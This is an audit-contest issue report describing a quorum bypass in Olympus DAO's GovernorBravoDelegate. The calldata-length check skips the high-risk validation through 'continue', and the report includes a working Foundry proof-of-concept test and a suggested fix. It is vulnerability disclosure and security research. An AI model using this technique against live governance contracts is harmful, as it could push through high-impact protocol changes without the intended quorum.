You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
sherlock-admin opened this issue
Jan 25, 2024
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
High risk quorum bypass by appending extra bytes into the calldata.
Summary
High risk quorum bypass by appending extra bytes into the calldata.
Vulnerability Detail
Olympus DAO checks the proposal and sets a higher quorum if the proposal action is deemed high risk. Proposal actions deemed as high risk are for instance, calling executeAction on the Kernel to install or activate policies:
// Check if the action is making a core change to system via the kernelif (selector == Kernel.executeAction.selector) {
uint8 action;
address actionTarget;
if (bytes(signature).length==0&& data.length==0x44) {
assembly {
action :=mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
actionTarget :=mload(add(data, 0x44))
}
} elseif (data.length==0x40) {
(action, actionTarget) =abi.decode(data, (uint8, address));
} else {
=>continue;
}
The function checks if the calldata is exactly 64 or 68 bytes long. If it is not, then we use a continue statement. What the continue statement does, however, is move to the next iteration of the for loop which completely skips all the further checks.
Therefore, we can append additional bytes into the calldata which will bypass all the checks and the EVM will ignore this additional bytes when making an external call.
POC
// SPDX-License-Identifier: Unlicensepragma solidity0.8.15;
import {Test} from"forge-std/Test.sol";
import {UserFactory} from"test/lib/UserFactory.sol";
import {Address} from"@openzeppelin/contracts/utils/Address.sol";
import {console2} from"forge-std/console2.sol";
import {MockGohm} from"test/mocks/OlympusMocks.sol";
import {OlympusTreasury} from"modules/TRSRY/OlympusTreasury.sol";
import {OlympusRoles} from"modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from"policies/RolesAdmin.sol";
import {TreasuryCustodian} from"policies/TreasuryCustodian.sol";
import"src/Kernel.sol";
import {GovernorBravoDelegateStorageV1} from"src/external/governance/abstracts/GovernorBravoStorage.sol";
import {GovernorBravoDelegator} from"src/external/governance/GovernorBravoDelegator.sol";
import {GovernorBravoDelegate} from"src/external/governance/GovernorBravoDelegate.sol";
import {Timelock} from"src/external/governance/Timelock.sol";
contractHighRiskQuorumBypassTestisTest {
using Addressforaddress;
addressinternal whitelistGuardian;
addressinternal vetoGuardian;
addressinternal alice;
uint256internal alicePk;
MockGohm internal gohm;
Kernel internal kernel;
OlympusTreasury internal TRSRY;
OlympusRoles internal ROLES;
RolesAdmin internal rolesAdmin;
TreasuryCustodian internal custodian;
GovernorBravoDelegator internal governorBravoDelegator;
GovernorBravoDelegate internal governorBravo;
Timelock internal timelock;
// Re-declare eventsevent VoteCast(
addressindexedvoter,
uint256proposalId,
uint8support,
uint256votes,
stringreason
);
function setUp() public {
// Set up users
{
address[] memory users = (newUserFactory()).create(2);
whitelistGuardian = users[0];
vetoGuardian = users[1];
(alice, alicePk) =makeAddrAndKey("alice");
}
// Create token
{
gohm =newMockGohm(100e9);
}
// Create kernel, modules, and policies
{
kernel =newKernel();
TRSRY =newOlympusTreasury(kernel); // This will be installed by the governor later
ROLES =newOlympusRoles(kernel);
rolesAdmin =newRolesAdmin(kernel);
custodian =newTreasuryCustodian(kernel);
}
// Create governance contracts
{
governorBravo =newGovernorBravoDelegate();
timelock =newTimelock(address(this), 7 days);
// SETS VETO GUARDIAN AS GOVERNOR BRAVO ADMIN
vm.prank(vetoGuardian);
governorBravoDelegator =newGovernorBravoDelegator(
address(timelock),
address(gohm),
address(kernel),
address(governorBravo),
21600,
21600,
10_000
);
}
// Configure governance contracts
{
timelock.setFirstAdmin(address(governorBravoDelegator));
// THIS SHOULD BE DONE VIA PROPOSAL
vm.prank(address(timelock));
address(governorBravoDelegator).functionCall(
abi.encodeWithSignature("_setWhitelistGuardian(address)", whitelistGuardian)
);
}
// Set up modules and policies
{
kernel.executeAction(Actions.InstallModule, address(ROLES));
kernel.executeAction(Actions.ActivatePolicy, address(rolesAdmin));
kernel.executeAction(Actions.ChangeExecutor, address(timelock));
rolesAdmin.pushNewAdmin(address(timelock));
}
// Set up gOHM
{
gohm.mint(address(0), 890_000e18);
gohm.mint(alice, 110_000e18); // Alice has >10% of the supply
gohm.checkpointVotes(alice);
}
}
function test_HighRiskQuorumBypass() public {
// Activate TRSRY
vm.prank(address(timelock));
kernel.executeAction(Actions.InstallModule, address(TRSRY));
// Create proposal that should be flagged as high riskaddress[] memory targets =newaddress[](1);
uint256[] memory values =newuint256[](1);
string[] memory signatures =newstring[](1);
bytes[] memory calldatas =newbytes[](1);
stringmemory description ="High Risk Proposal";
targets[0] =address(kernel);
values[0] =0;
signatures[0] ="";
calldatas[0] =abi.encodeWithSelector(
kernel.executeAction.selector,
Actions.ActivatePolicy,
address(custodian),
0// extra data
);
vm.prank(alice);
bytesmemory data =address(governorBravoDelegator).functionCall(
abi.encodeWithSignature(
"propose(address[],uint256[],string[],bytes[],string)",
targets,
values,
signatures,
calldatas,
description
)
);
uint256 proposalId =abi.decode(data, (uint256));
data =address(governorBravoDelegator).functionCall(
abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
);
uint256 quorum =abi.decode(data, (uint256));
// incorrectly flags as low risk quorumassertEq(quorum, 200_000e18);
}
}
sherlock-admin
changed the title
Expert Ocean Hyena - High risk quorum bypass by appending extra bytes into the calldata.
haxatron - High risk quorum bypass by appending extra bytes into the calldata.
Jan 30, 2024
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelMediumA valid Medium severity issueRewardA payout will be made for this issue
haxatron
medium
High risk quorum bypass by appending extra bytes into the calldata.
Summary
High risk quorum bypass by appending extra bytes into the calldata.
Vulnerability Detail
Olympus DAO checks the proposal and sets a higher quorum if the proposal action is deemed high risk. Proposal actions deemed as high risk are for instance, calling
executeAction
on the Kernel to install or activate policies:GovernorBravoDelegate.sol#L169C1-L173C14
However there is a simple way to fool this check:
GovernorBravoDelegate.sol#L631C1-L645C22
The function checks if the calldata is exactly 64 or 68 bytes long. If it is not, then we use a
continue
statement. What thecontinue
statement does, however, is move to the next iteration of thefor
loop which completely skips all the further checks.Therefore, we can append additional bytes into the calldata which will bypass all the checks and the EVM will ignore this additional bytes when making an external call.
POC
Impact
High risk quorum bypass
Code Snippet
See above.
Tool used
Foundry
Recommendation
return true
instead ofcontinue
in theelse
blockDuplicate of #100
The text was updated successfully, but these errors were encountered: